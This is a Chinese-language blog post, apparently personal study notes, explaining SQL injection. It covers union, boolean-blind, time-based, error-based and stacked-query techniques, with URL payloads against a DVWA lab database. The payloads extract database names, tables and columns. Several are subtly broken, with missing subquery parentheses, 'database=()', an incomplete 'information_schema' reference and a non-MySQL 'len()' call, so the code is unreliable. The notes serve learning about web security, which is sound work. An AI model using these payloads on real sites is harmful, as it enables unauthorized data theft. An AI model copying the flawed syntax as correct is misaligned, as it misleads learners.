【sql注入学习笔记】


sql注入原理

SQL注入是一种常见的网络安全漏洞,它利用了应用程序对用户输入数据的不正确处理。攻击者通过向应用程序的输入字段(比如登录表单、搜索框等)输入恶意的SQL代码,从而欺骗应用程序执行意外的SQL查询。
这种攻击的原理在于,应用程序未对用户输入进行充分验证和过滤,而是直接将用户输入的内容拼接到SQL查询语句中,导致攻击者能够执行恶意的SQL查询,比如修改数据库、获取敏感数据等。


常见的sql注入方式

union基础注入

单引号闭合前查询语句
‘#’ 或 ‘–’ 注释掉后边的语句
union后的语句返回的列数必须和原查询语句的列数相等
order by盲注列数排序

手工注入思路

url?id=1 order by 5# //确定查询返回参数的个数
url?id=1 union select 1,2,3,4# //确定显示哪列数据,确定后在对应的位置返回查询的值
url?id=1 union select 1,database(),3,4# 查询当前数据库名
url?id=1 union select 1,select group_concat(table_name) from information_schema.tables where table_schema='dvwa' limit 1,3,4#//查询所有表名
url?id=1 union select 1,select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='user',3,4#//查询表中字段名
url?id=1 union select 1,select group_concat(name) from dvwa.user,3,4#//查询表中数据,完成注入

布尔盲注

当页面只显示true或false不显示具体信息的情况下,则需要进行布尔盲注。布尔盲注攻击中,攻击者通过向数据库发送一系列特定的SQL查询,利用应用程序的响应来推断查询结果的真假。例如,攻击者可能会发送一个查询,询问数据库是否返回了预期的结果,然后根据应用程序的响应来判断查询条件是否为真。通过这种方式,攻击者可以逐步地推断出数据库中的信息,例如表名、列名、数据等。

适用场景:没有数据回显,条件正确有结果,错误没结果
利用方式:构造判断条件,逐个猜测(盲猜)

示例

url?id=1 and len(database())=4# //如果结果响应正确,说明数据库的长度为4
url?id=1 and substr(database(),1,1)='d'# //如果响应正确,说明数据库第一个字母为d,此处可用burp逐位爆破,当响应正确时,则证明这一位的字母是正确的
url?id=1 and substr((select table_name from information_schema where table_schema='dvwa' limit 1),1,1)='g'# //同理爆破表名

时间注入

时间注入通常使用SLEEP()函数。攻击者可以在注入点插入一个SLEEP()函数,并观察服务器响应时间是否延长来判断注入是否成功。

示例

url?id=1 and if((length(database())>5),sleep(5),1)# //如果数据库的长度大于5,则sleep5秒
url?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database=() limit 0,1),1,1))>101,sleep(1),0)# //猜表名

报错注入

如果应用程序没有直接将数据库返回的信息显示给用户,而是通过错误消息间接地暴露了一些信息,那么报错注入可以成为一种有用的手段。

报错注入常用函数

extractvalue(arg1,arg2)		#arg为参数
updatexml(arg1,arg2,arg3)
floor()						#floor(rand(0)*2)

示例

#一般用法
url?id=1' and updatexml(1,concat(0x7e,(查询语句),0x7e,[]),1) --+
url?id=1' and updatexml(1,concat(0x7e,database(),0x7e,@@datadir),1) --+
# 0x7e为~,目的是区分返回的数据
# @@datadir,存储数据的路径
url?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,@@datadir),1) --+

堆叠查询注入

基本原理是在原始查询的结尾处添加分号,并在其后插入额外的查询语句。这些额外的查询语句被堆叠在一起,因此称为“堆叠查询”。

示例

url?id=1';select 1,2 from database.table# //用分号间隔开
  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值